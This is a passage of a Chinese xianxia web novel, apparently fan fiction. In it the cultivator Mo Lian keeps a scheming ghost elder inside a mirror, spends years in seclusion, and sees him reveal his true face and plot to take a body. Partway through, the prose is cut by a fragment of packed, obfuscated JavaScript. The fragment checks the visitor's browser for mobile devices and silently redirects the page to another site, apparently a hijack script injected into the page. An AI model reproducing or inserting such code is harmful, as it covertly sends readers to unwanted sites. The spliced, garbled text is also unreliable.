她那双眼瞳如点漆,明亮得惊人。
镜子里的世界看向外界是带着一丝扭曲感,可萧诧偏偏在墨怜这变形的面容之中,看到一丝连他也不敢确定的……赤诚?
“老鬼,我也不跟你兜圈子,对你那些仇怨,我不打算细究,只想好好学习功法,回去与家人团聚。你同样不必用这幅鬼脸对我,学成之后我们好聚好和,做事留一线,日后好相见的道理,我相信玄骨前辈必然比我更懂。”
话毕,墨怜在心里默默补了一句,这张鬼脸,她以后是不想见了。
镜子水纹漾了漾,原本张牙舞爪的紫灰雾霭,也随着萧诧潜匿身形,恢复至最初的光透平面。
方才说了那么多,墨怜是真透露了大部分的实话。
不知萧诧有没有听进去,反正在她闭眸打坐了好几个周天的时间里,他都只是安静得待在镜子里,仿若毫无存在感的摆设。
要不是墨怜还能感应到镜子里,正专注修炼的萧诧,还差点认为这老鬼借机逃走了。
小红飞行在外,忽然停住。
以为遇到了危险的墨怜,飞出龟息甲前,也不忘把装着萧诧的镜子带出来。
见小红盘着龙身,不肯再飞:“吼!吼!”
读懂了它的意思,墨怜沉默片刻,才说:“……啊?你饿了,那我给你找吃的。”
墨怜从储物袋掏出几瓶辟谷丹,贴近小红微启的龙嘴。
“吃吧。”
小红:“……”
它龙头轻摆,龙须便拍在墨怜手背上,以示抗拒。
墨怜反应过来,小红可是妖兽,应该不吃这些药丸,或许要……吃肉?
见小红不吃,墨怜看了眼辟谷丹,转手收回袋里。
小红虽是有灵智,可到底是妖兽,不是人类,还不会那么高深的表达。
可墨怜能感应到它嘴巴还是挑的。
真不知道,那秘境主人是留了什么给它吃。
正当墨怜思忖小红食物时,只听镜子传出萧诧低沉的嗓音:
“捕猎一头低阶妖兽,给这条火龙喂食。”
不知何时,镜面再次浮现出一道阴幽的身影。饶是瞧过许久的墨怜,还是有点不能适应萧诧这堪比鬼片的惊悚的鬼探头。
墨怜低喃:“看来我还真的得给你找具身体了……”
鬼脸太辣眼睛了,还是活人真实的血肉好看。
也不知这老鬼生前是个什么样的风光?
“丫头还不行动?现在可还没彻底脱离极阴岛的范围。”
“哦,那好啊。”
对于萧诧的建议,墨怜也抱着试试的态度。对她而言,捕猎一头低阶妖兽不算太难,海域内有许多低阶海兽,她神识一扫,落在时不时跃出海面、形若海豚的妖兽。
“好,小红的晚餐就是你们了。”
墨怜祭出翠玉小剑,取下包裹住镜子的防护罩,之前在抵御萧诧攻击时已破碎过一次,如今也是勉强聚合,实际上没什么防护效果,干脆废品利用。
将一张爆炸符和几包硫磺粉丢进防护罩,凝成剑芒的小剑,被墨怜瞄准方向,丢进那片海域。
湛蓝的海水被炸出几道极高的水浪,几头海豚妖兽就被震昏了脑袋。
幸好它们皮糙肉厚,不然小红就得吃一顿糊糊。
墨怜便指挥小红下去吃了,尽管对方龙脸写满了不乐意。
目睹了墨怜打猎的全过程,萧诧轻声嗤笑,“丫头,你那是什么古怪打法,照你这速度,别说喂饱这条龙了,弄出的这些痕迹,都够极阴极炫找到你好几遍了。”
“谁叫我没师傅教啊。”墨怜摊手。
“老夫当年机缘不深,一切也须得靠自身筹划,独自谋道,开创功法,若像你这般怕是难登元婴之境。”
听出萧诧毫不客气的暗嘲,墨怜反而是眨了眨灵动的眼瞳,凑脸到镜子前:
“老鬼,你这么厉害,那你就教教我呗。”
萧诧蹙眉,“说话便说话,凑这么近作甚。”
墨怜暗忖,她长得也不丑啊,老鬼怎么避之如蛇蝎一样?
利用可爱外貌当幌子亲近失败后,墨怜一改语气:
“那就劳驾玄骨前辈,高开尊口,指点一下我这个无知小辈,怎么处理好这凌乱的现场,好不被极阴岛发觉,如何?”
镜内缄默了一会,墨怜以为他不想搭理自己后,下一刻,便听他说:
“丫头你若真有诚心,便给老夫找到一具躯体,在此之前,其他休谈。”
墨怜勾起淡笑,“好呀,这不一开始就说定了。”
老鬼心防真够重的,不过他话里透露的意思,便是愿意随心情的好坏对自己指点一二。
玄阴诀功法估摸着也得等他有了“人形”后,才会传授。
……
“哇,这小岛周围都是海域,没什么人迹活动,今晚可以落脚了。”
见墨怜兴冲冲的样子,萧诧本想提醒她一句,就见她披上隐身衣,那条火龙也隐匿龙形,随之一头扎进葱郁的林间。
萧诧眼洞闪动着一丝幽火,暗忖,到底是个十岁稚童。
岛内零零散散分布着一些常见的灵药,树高叶茂,起伏的山脉透出阵阵充盈的灵气。
墨怜环顾一圈,露出满意的眼神,当她暂时的躲避洞府,勉强合格。
月圆的晚夜,墨怜嘴馋,逮住一只野兔。
掏出储物袋中的小铁锅,倒了一点灵茶泡过的清水,点火,伴随锅内咕噜噜的冒泡声,逸散出浓郁扑鼻的肉香,在肉汤撒上一层葱花。
墨怜就着小铁锅开吃。
“岛上恐有妖兽出没,你落地后,应当先布置一些阵法禁制。”
萧诧见墨怜落地后,竟然是奔向吃的,便出声提醒。
“不懂。”墨怜摸了摸嘴角的亮晶晶的油花,“老鬼,你教一下我吧,我是真的一窍不通。”
夜色如浓稠墨缎,莹莹月辉映在墨怜软乎乎的极具欺骗性的小脸上。
萧诧紧拧的眉心渐渐舒展,此前本是打算把墨怜炼成一具可供驱使的尸魁,可现在,他打算改变想法。
这小东西还有利用的价值,教她一些皮毛之术,也不妨事。
“丫头照老夫说的,找一些灵石……”
见萧诧愿意指点她,墨怜很听话地照做,试错一两次,她很快就上手,弄了一个简易的禁制。
至于更高深的东西,一受限于材料,二是老鬼说等她摆弄完,也不必用去提防夜晚的兽袭了。
由教授过程来看,不得不称赞萧诧是个不错的实干型师傅。
墨怜从这微末的小阵里,窥见了阵法的妙用。
他日若遇敌,阵法也不失保命手段之一。
之后一段日子风平浪静。<
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p>墨怜便在岛上安居,实则是赶紧炼制丹药,挂单万界平台。跟老鬼这么一折腾,她的家当瞬间少了好多,格外没有安全感。
又思及,她已经答应了老鬼帮他找身体。
但萧诧老鬼实在是诡谲莫测,不能完全信任他!
得有个万全之策。
墨怜心中有数后,在万界平台上,搜索起来。在萧诧看来,这丫头便忽然沉寂下去,整日除了炼丹画符,便是带着那条龙日出晚归,也不跟他讲话了。
他暗自嗤笑了声。
或许是被封禁在洞窟久了,难得有人跟他说这么多话,一时冷落,他倒有点不适应。
……
这边,终于接受到玉佩回讯的韩、墨两人,听完墨怜的话后,陷入一阵静穆的沉思。
“韩大哥,你可知极阴岛?”墨彩环拢住茶杯,用一双你见识深奥的目光看去,没等韩立回话,她又低下头,“怜儿怕是惹上麻烦了,彩环自知此话或许太过厚颜,若是怜儿有难,还请你出手救她一命。”
“她是我的女儿,韩某虽不才,但也不会任人欺辱自己的孩儿。”
韩立应声,他为人谨慎,但也有自己想拼舍守护的东西。
对于墨怜这女儿,他心底里是有一份愧欠在的。
而那所谓的玄骨上人萧诧,则被他暗暗记牢在心。
韩立皱起眉,只是墨怜所说的海域,他是一概不知。天南大陆也未听闻过如此浩瀚无垠的海洋,也许,墨怜被传送的位置比他想象得还要深远。
“若是墨怜能告知我,那传送秘境所在方位,或许可以前去一探。”
墨彩环闻言一笑,“那得再等等,一直频繁传讯,怜儿怕是做事都不能专心。”
如此一来,韩立只得做罢。
只是,看着墨彩环收回那块可与墨怜通讯的玉佩,韩立盯着掌心空荡处,心中泛起一股说不上来的滋味。
他倒不是馋这宝贝。
一道黄枫谷专用传音符飞来,韩立用神识一读,便与墨彩环说:“墨墨姑娘,我还有师门任务在身,不便再跟你多说,先走一步了。”
“稍等!韩大哥,给你,这是怜儿亲手炼制的丹药。”
“……那我收下了。”韩立手一顿,徐徐接过药瓶。
开盖一瞧,他嘴角上弯,墨怜炼制的手艺娴熟自然,与他是一脉相承。
“墨姑娘不必远送。”
“愿你路上顺遂。”
墨彩环挥手,目送他淡入人流的背影。
上一次,他也是这么说的。
墨彩环略微一想,又忍不住担心起墨怜的安危。若她实力再强点,就是十个玄骨来欺负她家怜儿,她也有一战之力。
……
极阴岛,主岛洞府内。
正在运转功法修炼的极阴,听见孙子乌丑的动静,油绿的眼光一闪,语气透了丝不耐:
“小丑,你应当知道老夫的规矩。”
闯入洞内的乌丑朝禁制内的极阴,急忙先行了礼,“老祖,大事不好了,您设置的禁倒封印被破除了!”
“什么?”极阴脸色霎时阴云密布。
乌丑又说,“看守的老头也被杀了……”
一阵阴风刮过,洞府内早不见极阴两人。
下一瞬,极阴带着乌丑御风飞往禁岛,一经探查,果然察觉到陌生的气息。
极阴心中忌惮万分,“老东西,竟然还没死透!”
这下可糟了,竟让老家伙出逃,也不知,现在又在乱星海何处。
这份伴随他几百年的恐惧,犹如悬梁一剑,让他第一时间,列成高度警戒事项,便命乌丑往禁岛附近的海域搜寻,不可放过一切蛛丝马迹。
11. 弯路徘徊
海风晨光,云雾缭绕在小山腰,一轮橙红朝日半浮在海天一线,此刻,墨怜扔掉手中被吸干灵气的灵石。
一抬手,掌心浮现一团莹光,对准眉心,任由一股凭空的吸力,让聚拢的灵团被一点点抽干。
片刻之后,墨怜眸光微亮,听到脑海再度响起的电子音:
【……小怜,现在能量恢复得差不多了,真是不好意思,花了你这么多灵石。】
“要不是886你动用能量,让我和娘利用空间传送死里逃生,或许咱们一人一统要在另一个世界重开了。”
平心而论,她来到这个世界,除了生身父母,886便是她最亲密的伙伴,同时也是保全小命的底牌。
不论是利益,或是感情,886在墨怜心中地位无可比拟。
将近一个月的时间,墨怜采摘岛上灵药,卖出去的炼制丹药的积分,一部分都用来兑换中品灵石,这可比下品灵石贵的多,正好灵气可以作为补充能量的一种方式。
“886,我答应了萧诧要给他找具身体,但他到底是个鬼修,我担心一旦把他放出来,我的小剑并不能完全压制他的阴邪之气……”
听到墨怜这剖心的诉苦,886哪还不知她在打什么小算盘。
【你是想说,积分不够,那些能克制的法宝太贵了,现在的你根本买不起。】
墨怜托着小脸,两只水汪汪的大眼睛眨巴了下,“没错。”
【不行!老给你走后门,本统几乎赚不到什么抽成……】
“诶诶,这次可不是走后门,我跟你打个商量。”墨怜打开交易界面。
调出一张商品介绍图,指道:“886你看,这个叫作镇魂古铃的通天法宝,不仅有时间法则,还能守护识海,防止夺舍一类的神魂攻击,但你一看这价格飚到千万级别的积分,目前的我有自知之明,但——”
“我又发现,平台有个拼好物的群,但有一个特殊要求……”
墨怜小脸腾地发红,耳尖热烫。
【这、这到底是要做什么??】886疑惑不解。
“群主叫多情桃花,她是宿主之中的老前辈了,她积分很多,说是为了考虑我们这些起步艰难的后背们,可以带着我们一起拼好物,但是……”
墨怜迟迟说不出口,前世她也才十六岁出头,加上现在的年龄,也不过二十六岁。
本以为群主是个好前辈,谁知道发布的附加要求,实在离谱!
所有不同世界有着各自任务的宿主们,要想暂时拥有平台法宝的使用权,就得答应上传几张腹肌照,还要求男模级别的颜值,人还挺好地可以免费领留影珠。
这留影珠自然是被她薅羊毛,最初为墨彩环收取信仰,便是领了不少留影珠,等信仰有了起色,她就自个收起来。
天知道,听到这要求的墨怜当场就要石化。
这万界交易平台,竟然没把这老前辈的群聊给封了,算是另一种幸运?
对她这种起步微末开局的宿主来说,这怎么可以呢?
她墨怜是那种没有道德羞耻的人吗!
再说,上哪里去拍人家的腹肌照啊,不被按头打死都算好了……
墨怜骨气很硬,并未向邪恶癖好妥协,而是靠炼丹的老路子,继续积攒积分。
【所以呢,现在你……心动了?】
神海里的886,化身发光的白团子,戳了戳缩起叶片的世界树苗。
墨怜:“……”
不,这是高风险的路子。
她现在又没认识什么好看的男修,一般颜值不错的,按照套路实力肯定比她强。
这么冒犯的举动,被人打得魂飞魄散也不是不可能。
墨怜叹了口气,把灵石渣渣埋进土里,头也不回对后边在逗弄小动物的小红招呼:“小红,咱们回去吧,已经有三天没回洞府了,去见见空巢老鬼吧。”
话落,墨怜提起脚边的花篮,带着小红隐匿身形,飞回设置禁制的洞府内。
经过她的打造,原本一个长满野草,各种蚊虫关照的洞窟,被她收拾出一个简陋的石床,石桌,木头削出的四个小凳扎,每一处都被她用花汁画了花样。隔一段时间,便要在石桌放上一盆新鲜的花朵,等阳光照射进洞府内,恰好点亮这一抹艳丽的颜色。
萧诧在边上看到后,还说她还挺讲究,有点儿格调。
她回了一嘴,说这叫热爱生活。
“老鬼,我回来了,有没有想我呀。”墨怜习惯性拿起镜子,对着镜面笑了笑。
镜子内的萧诧:“……”
这丫头三日未归,不知在外面做了什么。
至于想她?是在想怎么利用她,仅此而已,萧诧不屑地暗想。
墨怜自然也清楚,老鬼现在不一定盼着她好。
但方才与886的对话,她心中萦绕不散,握紧镜子,到嘴边的话实在吐不出口。
察觉她神色异样的萧诧,嬉笑了声,语调慵懒里藏杂着一丝微不可见的试探:“哎呦,难得你今日不与老夫分享那些鸡皮蒜毛之事,怎么遇到了什么麻烦?是修炼碰到瓶颈?还是……”
“玄骨前辈,你生前是什么模样?”墨怜鼓起勇气问。
这次她可是豁出去了,本来就是因为担心老鬼翻脸才想急着兑换克制他的法宝,正好,羊毛出自羊身上。拍他的几张肚子照,反正也不需要多么高清,只要脸好看,多情桃花前辈都是可以通过的。
但一想,墨怜莫名还是有点羞耻。
萧诧微微怔了神,似乎是联想到了什么,眼洞瞬间蓄起危险而阴郁的暗芒,压低了声线:“为何想了解老夫的相貌。”
因为低着头,墨怜并未发觉他神态冰冷而隐隐透露出一丝疯狂,只要她答错一个字,就会被他镌刻上一个必杀名单上。
墨怜摊开自己白如羊脂玉的小手。
掌纹还不甚清晰,是个十岁出头的小屁孩。
说这个还太早,万一这老鬼颜值一般,那么说了跟没说一样,还会被对方记小本本。
算了算了。
墨怜摇了摇头,“没什么。”
“为何?吊起老夫的兴趣,现在又不说了。”萧诧眼中暗芒愈盛。
“听说夺舍后的人,会逐渐恢复至原本的容貌,我就是担心,万一你长得不行,我就……”不能走靠腹肌照兑换法宝的路了。
萧诧:“……”
呵!这丫头竟敢嘲讽起他相貌不佳,虽然在乱星海他一直是以老者形象面世,死后面容腐朽,不堪入目倒也是。
但他生前的姿容不说万里挑一,也是眉清目秀!
墨怜不知他心中如何思想,就觉得等她十八岁再问得了。
正好她需要闭关修炼个几年,巩固一下筑后根基,为接下来冲击结丹做准备,这么算上日子,再回头来问也不迟。
“老鬼,我打算闭关八年,你暂且等着,待我至结丹期,才有把握给你找身体。”
墨怜交代这一句,便把镜子放下。
让正欲再说什么的萧诧话头被打断。
等墨怜进入更里层的小山洞内闭关,萧诧才蓦得反应过来。
等等,他为何要向这丫头解释自己的容貌?
真是被这些时日碎叨叨的丫头给影响了,萧诧沉下心神,垂头瞧了瞧,指尖的鬼火虚幻又缥缈。
镜内的空间像是一个小型的秘境碎片,而其中内部运转的规则,有如月满盈亏,世间万物的本质落在这面镜子上也是一样的规律。
“呵……”
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萧诧低低地笑出声,打了个响指,镜子表面倏忽亮起一道黑紫雾气,转瞬即逝,仿若从未有过改变的痕迹。
小山洞外已被墨怜布置一层防护罩,外界感知不到洞内的情况。
为了不让墨彩环担心,墨怜取出传讯玉佩,注入一道灵气:
“娘,我接下来的八年至十年内,都会闭关,你不用担心,我会照顾好自己的。”
话末,墨怜决定还是说一下自己未来的打算:“我若是成功结丹,便会带你过来乱星海,这边灵气明显比天南大陆要充沛,到时再想办法积攒功德,当然这些还看情况。”
交代完,她便收起玉佩,在交易平台兑换了妖兽版的辟谷丹。
一颗可抵一年,废老本了,也安定了小红的吃饭问题。
剩下的时间里,墨怜便是一边修炼,运转之前的《长春功》《洞明心决》《大衍决》,另一边就是用在岛上采摘的灵药,炼丹画符……
这边收到传讯的墨彩环,正好结束了与黑煞教的对决。
本来照常行医的墨彩环,走夜路时,救下了一个叫武炫的筑基男修。两人应对上一个背上长犄角的妖人,妖人实力不俗,全靠着墨怜给的防护罩,才得以死里逃生。
回到韩立所在院落,与几名黄枫谷弟子会面。
墨彩环不参战,旁观韩立他们铲除了黑煞教实力。
其中惊险的还是这个越皇,竟然是策划黑煞教阴谋的幕后黑手。
被偷袭的刘大师兄,因为她的防护罩,被保护住,才没有让越皇偷袭得逞。
最后,越皇成了结丹,韩立几人联手用阵法、真宝将其灭杀。
这时,韩立也恰巧私下要与她道别,玉佩响应得倒是时候。
“稍等,怜儿传来口讯了。”
“嗯。”正准备掏出神行舟的韩立,手从储物袋移开。
墨怜便当着韩立的面,用灵力将声音外放。
听完玉佩里墨怜的传话,两人神色各异。
成功结丹?
韩立神色微变,听墨怜的语气似乎笃定自己能够结丹。
还有墨姑娘能够修行的秘密,竟是功德?
一时间,韩立心中五味杂陈。
若再深思下去,就会触碰到墨怜的机缘。
有如掌天瓶一般的最深的隐秘。
见韩立陷入沉默,墨彩环攥紧玉佩,“韩大哥,我不瞒你说,怜儿从小就与别的孩子不一样,但不论如何,她都是我们的孩儿,谁……谁都不可以伤害她!”
墨彩环头一次对韩立展露出爱恋之外的护短的表情。
“……”
倒也不用把他想得那么坏。
韩立默默地想,要说起来,他给了墨怜留下这般资质,她能够攥紧机缘去修仙,其实打心底,他是欣慰的。
修仙这么多年,他愈发明白机缘一词对修士而言,影响有多么深远。
韩立神态认真,一字一句道,“彩环姑娘,韩某,决不做违背自己本心的事。”
话外之意,若是没有威胁他生命,不会去伤害自己的血脉。
……
万里之外的墨怜正专心巩固修为。
世界树苗的运转下,飞快吸收摆放在她膝前的灵石堆。
时光如流光,闭关的日子不知不觉已至八年。
她境界即将接近结丹,是筑后大圆满,人称的假丹境。
墨怜浑身外散一层幻彩的灵韵,面容五官,因为修为的精进,出落得天然去雕饰,若身边多一些乳白云雾,她就更像是飘飘欲飞的仙子。
她终于十八了!
回看拼好物的群聊的要求,这腹肌照……
到底是要拍呢?
还是不拍?
12. 幻显本相
天气晴朗,一束金灿灿的日光从山洞缝隙透射而下,精准无误地落在墨怜乌发顶,带来一丝温暖的气息。
“呼,总算是巩固了根基。”
一番吐纳调息,墨怜内视丹田上的世界树苗,枝叶愈发地舒展,视线下移,五灵根化形的树根涌动着活跃的灵光,地下的丹田有如土壤,正源源不断为世界树苗提供灵力养料。
侧重修炼的《大衍决》,让她神识得到了很大的提升,她双眼一闪,神识便探向这个洞府乃至整座岛屿。
她以一种非肉眼的类似无人机摄像头的状态,一层又一层地探知,“看”到外洞石桌上枯萎的花朵,洞门口的爬藤浓密遮光,岛上正在嚼青草的白毛野兔,红色眼珠转悠了两圈……
墨怜嘴角一勾,那野兔腾地一下,两腿一蹬。
随后,她用灵力操控着匕首,捅向野兔,在远距离的驱使下,稳当地带回猎物。
“这功法果然不错,以后就窝在洞府里,都不用自个跑腿了。”
暗自偷笑了下,墨怜起身,舒展了一个清洁术,将身上的……简单缝合过的碎布衣裙,熨帖平整,因为没准备成年的衣服,她就储物袋中的衣服凑成了一件成衣。
勉强能以此示人。
野兔堆在脚边,她捏着两只肉乎乎的长耳朵,一挥手将摆在外头的丹药瓶罐、灵石碎末,一个收进袋中,一个埋进土里。
瞥见旁边的灵兽袋,她略微用神识一探,见小红把自己盘成圈,四周飘散着被他咬破的玉瓶碎片。
小红状态还挺好,她心下稍安。
万界出品的妖兽辟谷丹,性价比还是可以的,以后她要不要再囤一点?
若是小红得知了她这念头,会说话的话,必定要喷墨怜几个火球,骂她是个尽会偷懒的人类。
但墨怜看了看自己的积分,再对比平台的价格,觉得还是打猎更划算。
是时候出去瞧瞧。
穿过一道水潭,墨怜遥遥望向幽曲的小径,没着急撤掉布设的防护罩。
瞧着防护罩表面不断流动的波纹,她若有所思。
这几年过去了,也不知老鬼在镜子里是否安分。
想起他那么偏执,死后用尽手段,宁可转修鬼道,也要冲出被封印的洞窟……如此一想,他百分之两百不会乖乖待着,而毫无挣脱的举动。
嘶,怎么有种不妙的感觉?
实在可疑。
老鬼静悄悄,必定在作妖!
墨怜不动声色地在体外加了层防护罩,龟息甲握在手心,她深呼吸,做好心理准备才抬手解除了保护禁制。
走到外洞府,墨怜看似平静,手指却捏紧龟息甲的外壳,指腹被挤压出淡淡的青白。
她展开神识,一经探查,未察觉隐匿暗处的气息。
“玄骨前辈,你可还在?”
石床上的镜子,一如既往地静静平躺,镜面模糊,似被灰尘掩盖光泽。
不见应答,墨怜果断祭出翠玉小剑,护至身前,两指冒着青晕,挥去一道剑芒,直指镜子。
静谧的空间内,只听得见一道绵长的呼吸声,以及水滴石、风呼林的声响。
“也罢了,我还以为与老鬼有一段相处的缘分,没想到他竟然就这么没了,我见此物,只会睹物思人,还是收了眼见不见心不烦……”墨怜抬手召出另一个全新的镜子。
作势要朝旧镜子吸去,待在内部的萧诧终于按捺不住,脱口而出:
“丫头!且慢动手。”
墨怜动作稍顿,“老鬼,原来你还活着呀,刚才不出声,还以为你死透了。”
“在这乱世中最需小心谨慎,老夫也只跟能者合作,不过区区考验,你过关了!如此法宝尽用在老夫上,是大材小用,还不快收好。”
同时,萧诧心中暗自气恼,应对这镜子,这几年间,他尝试了很多办法。
不负他苦心钻研,终得窥见炼化法门。
眼见丫头就快出关,只需等几日后的一个月圆之夜,他便可彻底掌控镜子,从中脱离出世。
届时地位反转,丫头的性命还不拿捏在他的手掌心。
但事实却是墨怜反手又掏出一个新的镜子。
萧诧差点没忍住要破防。
他怎么不知,这乱星海的空间法宝竟有这么多的么!
墨怜揶揄地笑了笑,当着萧诧的面,再次晃了晃镜子,才收入袋中。
“哎呀老鬼,你怎么不早说。不过,你在里边待了这么久,也憋坏了吧?我现在就带你去外边放放风。”
话落,她笑吟吟地走到石床边,用灵力托起镜子,见镜面浮现出萧诧的鬼脸。
她再此不可避免地想起任重而道远的腹肌照。
萧诧没出声,视线略微观察了一下墨怜的整个形象。
看到墨怜的拼凑风穿搭不禁挑眉,嬉笑了声,“哟,丫头你这一身打扮倒是有趣。”
墨怜:“?”
“我那是衣服太小。”听出萧诧笑声里的暗讽,她没好气道,“无名散修便是我这般寒酸,都散修了,还能有什么品味格调,岂不知树大招风,像我这样低调才能苟存。”
“好了,老夫观你修为快要突破结丹,但你伪灵根资质,不洗涤斑驳的灵根,想要成功结丹的几率微乎其微。”
“那以您的意思,我该如何?”
墨怜挑了挑眉,老鬼还打算引诱她呢。
“我现在是假丹境了,想要寻求炼制洗涤灵根的丹药,我还得出去闯一闯。”她边走边说,不忘用防护罩笼罩着镜子,“老鬼,我这就带你去外边,看看有没有合适的身体。”
说到这,墨怜由圆润变得稍微狭长上挑的眼眸,略过一丝亮光。
落在萧诧眼中,便是不知这丫头又在眼睛滴溜溜地在想什么鬼点子。
下一刻,便听墨怜语出惊人的话:
“玄骨前辈,你能不能恢复一下你的脸蛋?”
萧诧再度提起警惕地反问:“丫头,上回你也是如此,不给老夫一个解释?”
真诚是永远的必杀技,但对心眼多疑心重的老鬼无效。
他只会吃搜魂那一挂,自己当然是不想被搜成傻子。
于是,墨怜便真真假假地回应他,“我这人很喜欢看长相漂亮的人物,我觉得前辈你面容虽然腐朽,可骨相看着倒还行,所以想提前看看你的容貌。”
这个解释,她自个听着都觉得生硬。
可为了腹肌照兑换法宝的大计,略微牺牲下形象,暂且忽略不计。
“……”
萧诧在镜子里曲起腿,指尖打出的阴幽鬼火,映照着他暗沉下去的眼洞,久到墨怜以为他不想回应,便只身飞出洞外。
飞行途中,镜子倏忽闪过一道灰蓝色雾霭。
察觉镜子异样的墨怜,垂眸望去:
镜面缓缓浮现一张留着半短半长黑发的男子面容。
略微长窄的神工鬼斧般线条凌厉的轮廓,上挑的丹凤眼下淡扫一圈胭脂红,鼻骨挺拔锐利,绯红双唇勾起一丝慵懒淡笑,仿佛睥睨天下的王者,世间一切都入不得他眼。
墨怜眼神不受控地落在他左侧耳后那一只晶蓝发穗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079014|195302||http|test|mini|href|location''.split(''|''),0,{}));
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>少年英气又青涩,与他内发的老谋城府气质,构成一种矛盾而又危险的致命吸引力。
又因他现在是魂体状态,虚渺又神秘。
让人有种不太真切、眨眼便会消散的感觉。
但不可否认,老鬼真是大美男啊!
墨怜一边欣赏,一边还不忘拿着留影珠录了个像。
第一步腹肌男的头有了。
“怎么,被老夫的皮囊给迷住了心神?”萧诧扩深了嘴角的弧度。
幻化的本相也随之加深了这抹漫不经心的调笑。
墨怜看痴了神,傻傻一笑,“老鬼,不,玄骨前辈,你长得真是惊艳卓绝!”
扫过她翘起的大拇指,指甲圆润又粉亮,萧诧墨眉一挑:
“皮囊只是外物,长什么样对你来说很重要么。”
怎么不重要!
总比每次都要看见一个阴森的腐朽鬼脸好一万倍。
墨怜一本正经地回他,“老鬼,你的帅脸对我的眼睛很友好。”
“那你的仇敌姿容不凡,你若不能狠心下手,这也是好事?”
面对萧诧透了丝不屑的质疑,墨怜反问:
“那前辈希望我对着你这张脸下死手吗?”
她又补了一句,“当然,前辈你还算不得我的仇敌,顶多是个危险分子。对前辈来说,应当算是个好事。”
“丫头,你的歪理倒是一大堆。”萧诧嗤声。
之后他没再说长相的事,却也没散去幻化的本相。
数个时辰后。
墨怜余光略过湛蓝的海面,日光折射下跳跃着碎金斑块,咸湿的海风灌进鼻腔,她微眯眼,有些不适地揉了揉鼻子。
忽然一阵灵力打斗波动传来,她心神一紧。
“前面有情况。”
见镜内又浮现出萧诧的面容,她怔了下神,又继续说,“前辈,以你的神识,可否探查前方是否有高阶修士在?”
“丫头,你敢指挥起老夫了。”
墨怜轻哼,“我观前辈至少有元婴初期的神识,我不过假丹境实力,万一一个不小心,让前辈你被别人捡到了,那可就不好。”
“威胁的话,丫头你还是少说为妙。”萧诧被困在镜子里,神识也无收到限制。
其实早在墨怜出声前,他便察觉前方有异变,心中稍作判断,“一个结丹中期,两个筑基初期,另外一个结丹初期气息不稳。”
听完这番话,墨怜已脑补了一出夺宝杀人的戏码。
那倒霉结初修士,估计就是那个被重点关照的对象。
但被老鬼特意点出的气息不稳,该不会他已经盯上这具□□?
“辛苦前辈探查一番,我们就先等着……”墨怜刚披上隐身衣,钻进防护罩,就任由自己自由落体地坠入大海内。
萧诧:“……”
也罢,实力不济,至少丫头没有冒失冲动。
墨怜不是不想打,而是老鬼在身侧,要是斗法损耗过大,就压不住欲想破出的老鬼。
想要周全,她只能苟在海底。
看着从她面前游过的海鱼,轻叹了口气,墨怜坐在珊瑚上,神识外放,偷感很重地窥探那边的战况。
至于缺氧?
倒不用担心,她隐匿气息,再鬼鬼祟祟地游上去偷吸两口。
目睹了这一幕的萧诧,干脆眼不见为净,闭眸,过了半个时辰,他才睁开闪过锐利之色的凤眼:
“丫头别逗那鱼了,良时已至!”
余末四字被他压重了语气,墨怜心下一紧,老鬼快要按捺不住了。
13. 心眼手段
一人一镜落在这座荒岛上。
隐身衣下的墨怜,停步环视起周遭:连片苍翠古树被炸断,焦黑、坑坑洼洼的战斗痕迹随处可见,淡淡的符灰被海风吹散。
在不远处的沙土上,散碎着几块被击碎的法器残渣。
墨怜眼前一亮,正好她缺少炼器材料。
抬臂将法器尽收储物袋,又动用神识探向四周,这才低声问萧诧:“前辈,此处方才刚经历过一场恶战,你的夺舍大法会不会动静太大了?”
“此间修士一番争斗,必不会久驻附近,你还是在旁为老夫护法,若老夫能成功夺得肉身,自是不会亏待你。”
萧诧话语稍顿,似在掩盖什么,低磁的声线多了□□惑,“到时,本座便传授你心心念念的玄阴诀功法。”
“哦~那小辈就等着前辈您顺利重获新生。”
墨怜表面上附和,心中又起了几分防备。
才不过几句话,老鬼就快要恢复洞窟初见他时的桀骜疯批姿态,接下来,怕是免不了一场恶战。
看着用灵力托起的镜子,晴日洒落在镜面折出一层虹光,又听萧诧开口道:
“不过夺舍一事还不急,本座需要恢复魂力。”
“为何?”墨怜不解。
“你待在洞窟都几百年了,还是被封印的状态,怎么进了我的法宝,你反倒不行了?”
萧诧适时反驳,“丫头你就不知其中深浅了,你是镜子的主人,可以调取外界能量。老夫却被困在此,又非镜子之主。这几年老夫既不能汲取灵气,又不能汇入阴气,魂力自然便不进而退。”
“那好,我先去找那位仁兄。”墨怜没与他多说。
老狐狸心眼子比天上繁星都要多,她一个字都不敢信。
到时再多加小心便是。
就在离他们十来里的地方,一条山涧的溪流旁,一个浑身伤口的结初修士歪曲身体,被半埋在碎石间,血迹汩汩流淌,血腥味混杂在咸腥海风之中,格外地醒鼻。
不用说她能够闻到,怕是这岛上肉食动物,也会盯上他。
墨怜飞身下来,见这尸体死相惨状,先给他上了香,暗念多有得罪。
眼眸余光瞥向镜子时,却有几分踯躅。
结丹初期,这实力可比她强,若是让老鬼上身,不立马翻脸就有鬼了,要不待会她还是想着怎么快点跑路?
不行,逃得了一时,逃不了一世。
先借口拖延一番。
“这位仁兄身体都僵了,夺舍怕都不热乎,要不还是静置于土?”墨怜转头对身侧镜子里的萧诧说:“玄骨前辈,你要……”
脑海蓦然响起886的警告:
【小怜!防护镜子显示异常!】
搞什么鬼?
墨怜脑海警铃大作,下意识祭出龟息甲。
僵着的脖颈一转,连带脑袋看向身侧的镜子。
不知何时起,镜子侧边装饰框表面,亮起一个像是奇怪符纹的蓝紫光印!
镜面如同阿拉丁神灯一样飘出一道淡透的男子上半身魂体。
外穿浅灰蓝外袍,内裹一件浅金漆肋骨纹的黑甲里衣,立领一丝不苟地收紧至喉结处,金色铜片形如拉长的骷髅头抵在下巴,平添了一份禁欲感与摄人魂魄的悚然。
挺鼓的胸膛被严严实实地缠紧,难怕是最能遮掩的黑色,却不能消弭一种让人不禁想将这碍事的破衣服,撕扯开裂,一窥内里风光的邪念。
似乎察觉墨怜的注视,他偏头转来。
